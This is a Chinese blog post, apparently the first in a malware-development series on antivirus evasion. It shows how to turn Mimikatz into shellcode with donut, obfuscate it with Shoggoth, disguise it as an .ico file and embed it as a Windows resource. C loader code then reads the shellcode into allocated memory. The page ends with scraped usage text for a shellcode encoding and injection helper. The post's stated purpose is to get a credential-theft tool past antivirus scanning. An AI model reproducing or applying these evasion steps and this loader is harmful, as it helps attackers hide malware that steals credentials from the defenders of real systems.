【Maldev--Defense Evasion 免杀】(一)从Resource中加载shellcode

前言

在开发malware过程中通常有两种加载shellcode方式:

1.把shellcode直接以硬编码的方式写入代码中
2.采用分离加载的方式 制作一个shellcode loader 从本地读取shellcode到内存中进行运行。

本文先讲解第一种方式,这个方式有一定的缺陷。

  • 把shellcode与loader放一起编写。即使shellcode 进行了加密与混淆操作,把成品放到vt上进行扫描也很大概率被查杀。
  • 如果要对工具进行免杀,则需把工具 exe转为shellcode 写成c语言格式则有上千行。若把它粘贴到vs2019等IDE去可能会直接程序无响应了。所以可以把转换出来的shellcode可以写进资源(Resource)中。

零、 所需要的工具

  • VS2019
  • donut https://github.com/TheWover/donut
  • Shoggoth https://github.com/frkngksl/Shoggoth
  • 使用C语言 Win32编程

一、需要的Windows API

HRSRC FindResourceA(
[in, optional] HMODULE hModule,
[in]           LPCSTR  lpName,
[in]           LPCSTR  lpType
);

lpName: 可以使用MAKEINTRESOURCE(ID)获取
lpType:RT_RCDATA Application-defined resource (raw data).

HGLOBAL LoadResource(
  [in, optional] HMODULE hModule,
  [in]           HRSRC   hResInfo
);

LPVOID LockResource(
  [in] HGLOBAL hResData
);
LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

二、具体步骤

将所需要免杀的工具转成shellcode

donut.exe -i .\mimikatz.exe -o mimi.bin

在这里插入图片描述
使用多态加密混淆工具混淆下shellcode
Shoggoth.exe -i .\mimi.bin -s 1235sfafsf -o mimi_fin.ico
在这里插入图片描述

打开VS2019

在这里插入图片描述
在资源文件中添加资源文件(rc)

在这里插入图片描述
导入生成的mimi_fin.ico(注意后缀名)

在这里插入图片描述
输入RCDATA 即可

代码编写

#include <stdio.h>
#include<Windows.h>
#include"resource.h"

void PrintHexData(LPCSTR Name, PBYTE Data, SIZE_T Size) {

    printf("unsigned char %s[] = {", Name);

    for (int i = 0; i < Size; i++) {
        if (i % 16 == 0) {
            printf("\n\t");
        }
        if (i < Size - 1) {
            printf("0x%0.2X, ", Data[i]);
        }
        else {
            printf("0x%0.2X ", Data[i]);
        }
    }

    printf("};\n\n\n");

}
int main()
{
    HRSRC hRSrc = NULL;
    HGLOBAL hGlobal = NULL;
    LPVOID  pTmpShellcode = NULL;
    LPVOID  pShellcode = NULL;
    size_t sShellcodeSize = 0;
    hRSrc= FindResource(NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA);  //确定shellcode资源在模块中的位置
    if (!hRSrc) {
        printf("资源未找到!\n");
        return -1;
    }
    hGlobal=LoadResource(NULL, hRSrc);                                     //获取句柄
    if (!hGlobal) {
        printf("加载资源失败\n");
        return -1;
    }
    pTmpShellcode =LockResource(hGlobal);                                      //找到资源所在内存中的地址
    if (!pTmpShellcode) {
        printf("获取资源中shellcode地址失败");
        return -1;
    }
    sShellcodeSize=SizeofResource(NULL,hRSrc);
    if (!sShellcodeSize ) {
        // in case of function failure 
        printf("获取shellcode大小失败\n");
        return -1;
    }
    pShellcode= VirtualAlloc(NULL, sShellcodeSize, MEM_COMMIT, PAGE_READWRITE);
    if (pShellcode) {
        MoveMemory(pShellcode, pTmpShellcode, sShellcodeSize);
    }
    else
    {
        printf("内存分配失败\n");
        return -1;
    }
    printf("[+]pShellcode的地址为:%p\n",pShellcode);
    printf("[+]sShellcodeSize的大小为%d\n", sShellcodeSize);
    PrintHexData("shellcode", pShellcode, sShellcodeSize);
    return 0;
}

在这里插入图片描述

总结

这篇文章先讲到把Mimikatz的shellcode加载进内存 。下篇继续讲解!
由于本人才疏学浅,有所错误请师傅们多多指教!

  • 14
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Shellcode Helper v1.62 Coded by TeLeMan (c) 2008-2013 Usage: schelper.exe [options] Options: -i [input file] input file (Default: stdin) -o [output file] output file (Default: stdout) -s input file format (Default: Auto-Detection) -sb input file format is Binary -sp the input file format's parameters -d output file format (Default: C format) -db output file format is Binary -dp the output file format's parameters -search get the start offset by the pattern: e.g. PK\x03\x04 -soff fix the match offset after searching (Default: 0) -off convert the input file from the offset (Default: 0) -len convert the input file with the length (Default: 0 - MAX) -en [encoder] encode shellcode (Default: XorDword) -de [encoder] decode shellcode (Default: Auto-Detection) -ex exclude characters: e.g. 0x00,0x01-0x1F,0xFF (Default: 0x00) -in incude characters only -ep the encoder's parameters -t [pid] execute or inject shellcode into process for testing -td [pid] execute or inject shellcode into process for debugging -stack put shellcode into stack and execute it (ESP is the shellcode start) -noinfo display no normal messages except error messages Available formats: 0 - C 1 - C(HexArray) 2 - Perl 3 - Python 4 - Ruby 5 - JavaScript(Escape) 6 - VBScript(Escape) 7 - Pascal 8 - MASM(Data) 9 - HexDump 10 - BitString 11 - HexString 12 - HexArray(C like) 13 - Base64 14 - Binary 15 - HexString(C like) 16 - HexString(Escape) 17 - HexString(JavaScript,UNICODE) 18 - URI(ISO-8859-1) 19 - XML(PCDATA) 20 - BigNumber 21 - BigNumber(Hex) 22 - BigNumber(BaseX) 23 - FloatPoint 24 - UnixTimestamp 25 - GUID 26 - MASM(ASM) 27 - NASM 28 - YASM(ASM) 29 - FASM(ASM) 30 - JWASM(ASM) 31 - POASM(ASM) 32 - GOASM(ASM) 33 - GNU ASM Available encoders:
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值